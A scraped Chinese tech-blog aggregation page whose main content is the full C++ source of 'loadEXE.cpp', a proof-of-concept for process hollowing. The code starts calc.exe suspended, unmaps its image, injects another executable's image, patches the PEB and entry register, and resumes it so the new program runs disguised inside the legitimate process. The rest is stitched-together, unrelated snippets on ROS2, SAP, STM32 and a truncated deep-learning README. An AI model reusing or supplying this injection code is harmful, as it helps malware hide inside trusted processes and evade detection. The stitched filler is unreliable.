将进程变成一个线程执行代码2

ROS2学习(四)进程,线程与节点的关系 单线程节点执行器会将所有已添加到维护队列的节点限制在一个线程内处理所有回调,而多线程节点执行器会按照设备的性能,动态分配线程为队列内的节点处理回调。在ROS2中,节点和进程的概念完全分开的,节点是独立于操作系统进程或者线程的概念的抽象定义,它虽然依旧承载着通信的功能,但是并不作为独立的进程运行,而是嵌入进程中,作为一个抽象的实体进行运作。节点,英文是node,在ROS2中,节点是一个抽象的实体,它可以代表某种或某类特定功能的抽象集合体,它可以存在于进程中,也可以存在于线程中。 阅读详情
http://www.security.org.sg/code/loadexe.html
Code:

//*******************************************************************************************************
// loadEXE.cpp : Defines the entry point for the console application.
//
// Proof-Of-Concept Code
// Copyright (c) 2004
// All rights reserved.
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, and/or sell copies of the Software, and to permit persons
// to whom the Software is furnished to do so, provided that the above
// copyright notice(s) and this permission notice appear in all copies of
// the Software and that both the above copyright notice(s) and this
// permission notice appear in supporting documentation.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
// HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL
// INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING
// FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
// NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION
// WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
//
// Usage:
// loadEXE <EXE filename>
//
// This will execute calc.exe in suspended mode and replace its image with
// the new EXE's image.  The thread is then resumed, thus causing the new EXE to
// execute within the process space of svchost.exe.
//
//*******************************************************************************************************

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>

struct PE_Header
{
    
unsigned long signature;
    
unsigned short machine;
    
unsigned short numSections;
    
unsigned long timeDateStamp;
    
unsigned long pointerToSymbolTable;
    
unsigned long numOfSymbols;
    
unsigned short sizeOfOptionHeader;
    
unsigned short characteristics;
};

struct PE_ExtHeader
{
    
unsigned short magic;
    
unsigned char majorLinkerVersion;
    
unsigned char minorLinkerVersion;
    
unsigned long sizeOfCode;
    
unsigned long sizeOfInitializedData;
    
unsigned long sizeOfUninitializedData;
    
unsigned long addressOfEntryPoint;
    
unsigned long baseOfCode;
    
unsigned long baseOfData;
    
unsigned long imageBase;
    
unsigned long sectionAlignment;
    
unsigned long fileAlignment;
    
unsigned short majorOSVersion;
    
unsigned short minorOSVersion;
    
unsigned short majorImageVersion;
    
unsigned short minorImageVersion;
    
unsigned short majorSubsystemVersion;
    
unsigned short minorSubsystemVersion;
    
unsigned long reserved1;
    
unsigned long sizeOfImage;
    
unsigned long sizeOfHeaders;
    
unsigned long checksum;
    
unsigned short subsystem;
    
unsigned short DLLCharacteristics;
    
unsigned long sizeOfStackReserve;
    
unsigned long sizeOfStackCommit;
    
unsigned long sizeOfHeapReserve;
    
unsigned long sizeOfHeapCommit;
    
unsigned long loaderFlags;
    
unsigned long numberOfRVAAndSizes;
    
unsigned long exportTableAddress;
    
unsigned long exportTableSize;
    
unsigned long importTableAddress;
    
unsigned long importTableSize;
    
unsigned long resourceTableAddress;
    
unsigned long resourceTableSize;
    
unsigned long exceptionTableAddress;
    
unsigned long exceptionTableSize;
    
unsigned long certFilePointer;
    
unsigned long certTableSize;
    
unsigned long relocationTableAddress;
    
unsigned long relocationTableSize;
    
unsigned long debugDataAddress;
    
unsigned long debugDataSize;
    
unsigned long archDataAddress;
    
unsigned long archDataSize;
    
unsigned long globalPtrAddress;
    
unsigned long globalPtrSize;
    
unsigned long TLSTableAddress;
    
unsigned long TLSTableSize;
    
unsigned long loadConfigTableAddress;
    
unsigned long loadConfigTableSize;
    
unsigned long boundImportTableAddress;
    
unsigned long boundImportTableSize;
    
unsigned long importAddressTableAddress;
    
unsigned long importAddressTableSize;
    
unsigned long delayImportDescAddress;
    
unsigned long delayImportDescSize;
    
unsigned long COMHeaderAddress;
    
unsigned long COMHeaderSize;
    
unsigned long reserved2;
    
unsigned long reserved3;
};


struct SectionHeader
{
    
unsigned char sectionName[8];
    
unsigned long virtualSize;
    
unsigned long virtualAddress;
    
unsigned long sizeOfRawData;
    
unsigned long pointerToRawData;
    
unsigned long pointerToRelocations;
    
unsigned long pointerToLineNumbers;
    
unsigned short numberOfRelocations;
    
unsigned short numberOfLineNumbers;
    
unsigned long characteristics;
};

struct MZHeader
{
    
unsigned short signature;
    
unsigned short partPag;
    
unsigned short pageCnt;
    
unsigned short reloCnt;
    
unsigned short hdrSize;
    
unsigned short minMem;
    
unsigned short maxMem;
    
unsigned short reloSS;
    
unsigned short exeSP;
    
unsigned short chksum;
    
unsigned short exeIP;
    
unsigned short reloCS;
    
unsigned short tablOff;
    
unsigned short overlay;
    
unsigned char reserved[32];
    
unsigned long offsetToPE;
};


struct ImportDirEntry
{
    
DWORD importLookupTable;
    
DWORD timeDateStamp;
    
DWORD fowarderChain;
    
DWORD nameRVA;
    
DWORD importAddressTable;
};


//**********************************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//**********************************************************************************************************

bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
                
SectionHeader **outSecHdr)
{
    
fseek(fp, 0, SEEK_END);
    
long fileSize = ftell(fp);
    
fseek(fp, 0, SEEK_SET);

    if(
fileSize < sizeof(MZHeader))
    {
        
printf("File size too small/n");        
        return
false;
    }

    
// read MZ Header
    
MZHeader mzH;
    
fread(&mzH, sizeof(MZHeader), 1, fp);

    if(
mzH.signature != 0x5a4d)        // MZ
    
{
        
printf("File does not have MZ header/n");
        return
false;
    }

    
//printf("Offset to PE Header = %X/n", mzH.offsetToPE);

    
if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
    {
        
printf("File size too small/n");        
        return
false;
    }

    
// read PE Header
    
fseek(fp, mzH.offsetToPE, SEEK_SET);
    
PE_Header peH;
    
fread(&peH, sizeof(PE_Header), 1, fp);

    
//printf("Size of option header = %d/n", peH.sizeOfOptionHeader);
    //printf("Number of sections = %d/n", peH.numSections);

    
if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
    {
        
printf("Unexpected option header size./n");
        
        return
false;
    }

    
// read PE Ext Header
    
PE_ExtHeader peXH;

    
fread(&peXH, sizeof(PE_ExtHeader), 1, fp);

    
//printf("Import table address = %X/n", peXH.importTableAddress);
    //printf("Import table size = %X/n", peXH.importTableSize);
    //printf("Import address table address = %X/n", peXH.importAddressTableAddress);
    //printf("Import address table size = %X/n", peXH.importAddressTableSize);


    // read the sections
    
SectionHeader *secHdr = new SectionHeader[peH.numSections];

    
fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);

    *
outMZ = mzH;
    *
outPE = peH;
    *
outpeXH = peXH;
    *
outSecHdr = secHdr;

    return
true;
}


//**********************************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//**********************************************************************************************************

int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
                       
SectionHeader *inSecHdr)
{
    
int result = 0;
    
int alignment = inpeXH->sectionAlignment;

    if(
inpeXH->sizeOfHeaders % alignment == 0)
        
result += inpeXH->sizeOfHeaders;
    else
    {
        
int val = inpeXH->sizeOfHeaders / alignment;
        
val++;
        
result += (val * alignment);
    }


    for(
int i = 0; i < inPE->numSections; i++)
    {
        if(
inSecHdr[i].virtualSize)
        {
            if(
inSecHdr[i].virtualSize % alignment == 0)
                
result += inSecHdr[i].virtualSize;
            else
            {
                
int val = inSecHdr[i].virtualSize / alignment;
                
val++;
                
result += (val * alignment);
            }
        }
    }

    return
result;
}


//**********************************************************************************************************
//
// This function calculates the aligned size of a section
//
//**********************************************************************************************************

unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{    
    if(
curSize % alignment == 0)
        return
curSize;
    else
    {
        
int val = curSize / alignment;
        
val++;
        return (
val * alignment);
    }
}


//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
            
SectionHeader *inSecHdr, LPVOID ptrLoc)
{
    
char *outPtr = (char *)ptrLoc;

    
fseek(fp, 0, SEEK_SET);
    
unsigned long headerSize = inpeXH->sizeOfHeaders;

    
// certain PE files have sectionHeaderSize value > size of PE file itself.  
    // this loop handles this situation by find the section that is nearest to the
    // PE header.

    
for(int i = 0; i < inPE->numSections; i++)
    {
        if(
inSecHdr[i].pointerToRawData < headerSize)
            
headerSize = inSecHdr[i].pointerToRawData;
    }

    
// read the PE header
    
unsigned long readSize = fread(outPtr, 1, headerSize, fp);
    
//printf("HeaderSize = %d/n", headerSize);
    
if(readSize != headerSize)
    {
        
printf("Error reading headers (%d %d)/n", readSize, headerSize);
        return
false;        
    }

    
outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);

    
// read the sections
    
for(i = 0; i < inPE->numSections; i++)
    {
        if(
inSecHdr[i].sizeOfRawData > 0)
        {
            
unsigned long toRead = inSecHdr[i].sizeOfRawData;
            if(
toRead > inSecHdr[i].virtualSize)
                
toRead = inSecHdr[i].virtualSize;

            
fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET);
            
readSize = fread(outPtr, 1, toRead, fp);

            if(
readSize != toRead)
            {
                
printf("Error reading section %d/n", i);
                return
false;
            }
            
outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
        }
        else
        {
            
// this handles the case where the PE file has an empty section. E.g. UPX0 section
            // in UPXed files.

            
if(inSecHdr[i].virtualSize)
                
outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
        }
    }

    return
true;
}


struct FixupBlock
{
    
unsigned long pageRVA;
    
unsigned long blockSize;
};


//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
                  
SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
    if(
inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
    {
        
FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
        
long delta = newBase - inpeXH->imageBase;

        while(
fixBlk->blockSize)
        {
            
//printf("Addr = %X/n", fixBlk->pageRVA);
            //printf("Size = %X/n", fixBlk->blockSize);

            
int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
            
//printf("Num Entries = %d/n", numEntries);

            
unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);

            for(
int i = 0; i < numEntries; i++)
            {
                
DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
                
                
int relocType = (*offsetPtr & 0xF000) >> 12;
                
                
//printf("Val = %X/n", *offsetPtr);
                //printf("Type = %X/n", relocType);

                
if(relocType == 3)
                    *
codeLoc = ((DWORD)*codeLoc) + delta;
                else
                {
                    
printf("Unknown relocation type = %d/n", relocType);
                }
                
offsetPtr++;
            }

            
fixBlk = (FixupBlock *)offsetPtr;
        }
    }    
}


#define TARGETPROC "calc.exe"

typedef struct _PROCINFO
{
    
DWORD baseAddr;
    
DWORD imageSize;
}
PROCINFO;



//**********************************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//**********************************************************************************************************


BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
    
STARTUPINFO si = {0};

    if(
CreateProcess(NULL, TARGETPROC,
                     
NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))        
    {
        
ctx->ContextFlags=CONTEXT_FULL;
        
GetThreadContext(pi->hThread, ctx);

        
DWORD *pebInfo = (DWORD *)ctx->Ebx;
        
DWORD read;
        
ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);
    
        
DWORD curAddr = outChildProcInfo->baseAddr;
        
MEMORY_BASIC_INFORMATION memInfo;
        while(
VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
        {
            if(
memInfo.State == MEM_FREE)
                break;
            
curAddr += memInfo.RegionSize;
        }
        
outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;

        return
TRUE;
    }
    return
FALSE;
}


//**********************************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//**********************************************************************************************************

BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
    if(
inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
    {
        return
TRUE;
    }
    return
FALSE;
}


typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);


//**********************************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.  
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended
//    thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//**********************************************************************************************************

void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
            
SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
    
STARTUPINFO si = {0};
    
PROCESS_INFORMATION pi;
    
CONTEXT ctx;
    
PROCINFO childInfo;
    
    if(
createChild(&pi, &ctx, &childInfo))
    {        
        
printf("Original EXE loaded (PID = %d)./n", pi.dwProcessId);
        
printf("Original Base Addr = %X, Size = %X/n", childInfo.baseAddr, childInfo.imageSize);
        
        
LPVOID v = (LPVOID)NULL;
        
        if(
inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
        {
            
// if new EXE has same baseaddr and is its size is <= to the original EXE, just
            // overwrite it in memory
            
v = (LPVOID)childInfo.baseAddr;
            
DWORD oldProtect;
            
VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);            
            
            
printf("Using Existing Mem for New EXE at %X/n", (unsigned long)v);
        }
        else
        {
            
// get address of ZwUnmapViewOfSection
            
PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");

            
// try to unmap the original EXE image
            
if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
            {
                
// allocate memory for the new EXE image at the prefered imagebase.
                
v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                if(
v)
                    
printf("Unmapped and Allocated Mem for New EXE at %X/n", (unsigned long)v);
            }
        }

        if(!
v && hasRelocationTable(inpeXH))
        {
            
// if unmap failed but EXE is relocatable, then we try to load the EXE at another
            // location
            
v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            if(
v)
            {
                
printf("Allocated Mem for New EXE at %X. EXE will be relocated./n", (unsigned long)v);

                
// we've got to do the relocation ourself if we load the image at another
                // memory location                
                
doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
            }
        }

        
printf("EIP = %X/n", ctx.Eip);
        
printf("EAX = %X/n", ctx.Eax);
        
printf("EBX = %X/n", ctx.Ebx);        // EBX points to PEB
        
printf("ECX = %X/n", ctx.Ecx);
        
printf("EDX = %X/n", ctx.Edx);
        
        if(
v)
        {            
            
printf("New EXE Image Size = %X/n", imageSize);
            
            
// patch the EXE base addr in PEB (PEB + 8 holds process base addr)
            
DWORD *pebInfo = (DWORD *)ctx.Ebx;
            
DWORD wrote;                        
            
WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);

            
// patch the base addr in the PE header of the EXE that we load ourselves
            
PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
            
peXH->imageBase = (DWORD)v;
            
            if(
WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
            {    
                
printf("New EXE image injected into process./n");

                
ctx.ContextFlags=CONTEXT_FULL;                
                
//ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);
                
                
if((DWORD)v == childInfo.baseAddr)
                {
                    
ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;        // eax holds new entry point
                
}
                else
                {
                    
// in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
                    // performed.
                    
ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;        // eax holds new entry point
                
}

                
printf("********> EIP = %X/n", ctx.Eip);
                
printf("********> EAX = %X/n", ctx.Eax);

                
SetThreadContext(pi.hThread,&ctx);

                
ResumeThread(pi.hThread);
                
printf("Process resumed (PID = %d)./n", pi.dwProcessId);
            }
            else
            {
                
printf("WriteProcessMemory failed/n");
                
TerminateProcess(pi.hProcess, 0);
            }
        }
        else
        {
            
printf("Load failed.  Consider making this EXE relocatable./n");
            
TerminateProcess(pi.hProcess, 0);
        }
    }
    else
    {
        
printf("Cannot load %s/n", TARGETPROC);
    }
}




int main(int argc, char* argv[])
{
    if(
argc != 2)
    {
        
printf("/nUsage: %s <EXE filename>/n", argv[0]);
        return
1;
    }

    
FILE *fp = fopen(argv[1], "rb");
    if(
fp)
    {
        
MZHeader mzH;
        
PE_Header peH;
        
PE_ExtHeader peXH;
        
SectionHeader *secHdr;

        if(
readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
        {
            
int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
            
//printf("Image Size = %X/n", imageSize);

            
LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            if(
ptrLoc)
            {
                
//printf("Memory allocated at %X/n", ptrLoc);
                
loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);                                                
                
                
doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);                                
            }
            else
                
printf("Allocation failed/n");
        }

        
fclose(fp);
    }
    else
        
printf("/nCannot open the EXE file!/n");

    return
0;
}
进程线程的执行与切换 引入 之前有一篇文章我写了为什么要引入虚拟内存,它可以维护内存的安全。之后,为了进一步保证系统和内存安全,操作系统又把虚拟地址划分为内核空间和用户空间,内核空间主要由操作系统控制,用户不可直接访问。 内核空间保存了像进程控制信息PCB这样有关进程的信息。而线程就是进程的执行体,它需要一个执行入口,通常会是某个函数的指令入口,这样的信息保存在用户空间。 执行 在创建进程时,操作系统会分别在内核空间和用户空间分配两段栈,即内核栈和用户栈,用来存储线程执行时需要保存的数据。 执行程序前,IP指向执行入口,e 阅读详情

相关推荐

深入解析SAP ATP函数AVAILABILITY_CHECK_S4:从模拟到实战的销售订单可用性检查

本文深入解析SAP S/4HANA中的ATP函数AVAILABILITY_CHECK_S4,从参数配置到实战应用全面讲解销售订单可用性检查。通过详细代码示例和常见问题解决方案,帮助开发者掌握ATP检查的核心技术,提升供应链管理效率。

weixin_28331555的博客 335

APP服务端优化——2.将多进程改为多线程

文章目录一、修改的注意事项1.将创建多进程的函数改为创建多线程的函数2.创建一个容器,存放子线程的socket3.将原来多进程的程序的return修改为break4.makefile文件连接线程库5.修改全局变量5.1 业务请求参数(1)声明(2)在线程主函数中定义(3)将业务结构体变量作为参数传给需要到业务参数的函数5.2 数据库连接对象(1)将全局的数据库连接对象去掉(2)把数据库连接对象放在线程主函数中定义(3)修改连接数据的方式(4)将数据库连接对象传到需要操作数据库的函数中5.3 接收发送报文缓冲

qq_43403759的博客 582

LVGL按键触发回调函数的完整流程

如果是我的话我会怎么写:例如按键,我先定义一个结构体里面包含ID,事件名等和回调函数的链表节点结构体里面有具体函数的指针,也有指向下一个回调函数的链表节点的指针,初始化一个结构体变量的,通过BSP层来驱动触摸屏幕,再通过中间层与被按下时就会判断是长按还是短按还是其他,改变变量的事件例如:改成长按,生成事件包后再注册你长按的回调函数链表节点,再根据变量的事件到链表中遍历最后实现功能.父容器监听所有子列表项的点击事件,无需为每个列表项单独注册回调。的回调,打印所有事件日志,观察事件触发顺序。

solomonzw的博客 3248

直接运行内存中的程序

  Windows的PE加载器在启动程序的时候,会将磁盘上的文件加载到内存,然后做很多操作,如函数导入表重定位,变量预处理之类的。这位仁兄等于是自己写了一个PE加载器。直接将内存中的程序启动。记得以前的“红色代码”病毒也有相同的特性。    直接启动内存中的程序相当于加了一个壳,可以把程序加密保存,运行时解密到内存,然后启动,不过对于增加破解难度还要稍微复杂点。否则人家把内存中的进程DUMP出来然

1270

[MTK][Android P]如何去掉差分包中的preloader分区

最近碰到一个问题,在进行差分升级的时候,会因为某些原因导致preloader hash值不匹配,升级失败,所以需要在差分升级的时候不升级preloader。 解决的方法,就是在制作AB分区的差分升级包的时候,把目标zip解压出来,把ab_partitions.txt中的分区名去掉,同时把preloader.img去掉 修改如下: Project/build/tools/releasetool...

thonmin的专栏 1438

xilinx zynq-7000 linux下rs422串口通信测试步骤

这几天使用xilinx的zynq-7000系列调试rs422串口,期间遇到不少问题,好在最终调试完成,在这里记录一下调试步骤。 我用的soc型号是xc7z100,板载了2个rs422外设,PS端有2个uart控制器,uart0用于连接rs232并作为console控制台输出,uart1连接rs422。 rs422和主板连线原理图如下: 其中422_TXD1_3V3 和422_RXD1_3V3 为数据发送和接收引脚,422_TXD_DE1_3V3为发送使能引脚,422_RXD_REn1_...

dongyunke的博客 5912

动态加载EXE文件到内存执行

//*******************************************************************************************************// loadEXE.cpp : Defines the entry point for the console application.//// Proof-Of-Concept Co

zzz3265的专栏 6289

深入浅出AXI协议(2)——通道及信号

本文我们继续AXI协议的学习,我们将讨论5个通道的具体内容和相对应的信号。这一部分的内容现在对于大家来说可能很难理解,但是没有关系,随着学习的深入,我们会逐步讲解这里面的所有现在,现在只需要把它们当作一个可以查阅的手册,快速阅读有一个基本的印象即可。

apple_53311083的博客 1802

Win2K/XP SDT Restore 0.2 (Proof-Of-Concept)

by Tan Chew KeongReleased : 06 Jul 2004Updated : 09 Oct 2004 (paper available for download) Download Version 0.2Download Version 0.1Download Paper Presented at HITB 2004 IntroductionWin32 Kernel

2151

电磁场仿真:电磁场基础理论_(13).微波技术基础

微波是指频率在300 MHz到300 GHz之间的电磁波。这一频率范围对应的波长为1米到1毫米。

2401_87715305的博客 1330

SAP Joule for Developers 全景解析:从 ABAP 到 SAP Build 的一体化开发者 AI 能力

SAP Joule for Developers是一套内嵌于SAP开发工具的设计时AI能力,专为提升SAP开发者效率而设计。它支持自然语言生成应用与自动化流程,帮助理解优化代码,并嵌入单元测试和质量保障功能。Joule深度集成ABAP开发环境,同时服务于Java、JavaScript和低代码开发,覆盖CAP数据模型、UI5/Fiori生成、ABAP代码补全与重构等场景。通过斜杠命令和上下文操作,开发者可在不改变现有平台的前提下,显著提升开发效率和质量。典型案例包括快速构建CAP应用和ABAP Cloud迁移

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 505

SetThreadContext注入

这文章其实不能算原创了只是把别人的代码搬过来注释然后测试一下。     原文链接->http://bbs.pediy.com/showthread.php?t=159536 作者通过修改Context.Eip来达到Hook EIP的目的,不过这种方式我表示在我的win2003上没有成功。同时,作者提供了在github上的源码,源码中作者修改的是Context.Eax。起初很不解,eax跟返回值相

lixiangminghate的专栏 5851

基于STM32、HAL库的IP5356M快充协议芯片简介及驱动程序设计

@param hip: IP5356M句柄指针。* @param hip: IP5356M句柄指针。* @param hip: IP5356M句柄指针。* @param hip: IP5356M句柄指针。* @param hip: IP5356M句柄指针。* @param hip: IP5356M句柄指针。* @param hip: IP5356M句柄指针。* @param hip: IP5356M句柄指针。* @param hip: IP5356M句柄指针。

corlin6688的博客 1227

什么是进程?什么是线程?进程与线程的区别?

目录 什么是进程?什么是线程? 为什么要有线程? 进程与线程的区别? 进程与线程的选择取决条件? 什么是进程?什么是线程? 进程:进程是并发执行程序在执行过程中资源分配和管理的基本单位(资源分配的最小单位)。进程可以理解为一个应用程序的执行过程,应用程序一旦执行,就是一个进程。每个进程都有自己独立的地址空间,每启动一个进程,系统就会为它分配地址空间,建立数据表来维护代码段、堆栈段和数据...

xzp_12345的博客 1万+

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

利用远程线程将代码注入到目标进程中执行

<br />/* ************************************<br />* remote.c<br />* 创建远程线程、将代码注入到其他进程中执行<br />**************************************/<br />/* 头文件 */<br />#include <windows.h><br />#include <Tlhelp32.h><br />/*************************************<br />* BO

yiruirui0507的专栏 3257

vb 6.0并口开发操作实例

vb6并口开发,简体中文,试例内有inpout32.dll动态链接库

实验三 观察Linux进程线程的异步并发执行

实验三 观察Linux进程线程的异步并发执行 一、实验目的 通过本实验学习如何创建Linux进程及线程,通过实验,观察Linux进程及线程的异步执行。理解进程及线程的区别及特性,进一步理解进程是资源分配单位,线程是独立调度单位。 二、实验环境 硬件环境:计算机一台,局域网环境; 软件环境:Linux Ubuntu操作系统,gcc编译器。 三、实验内容和步骤 进程异步并发执行 1)编写一个C语言程序,该程序首先初始化一个count变量为1,然后使用fork函数创建两个子进程,每个子进程对count加1

weixin_46698891的博客 4334

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = 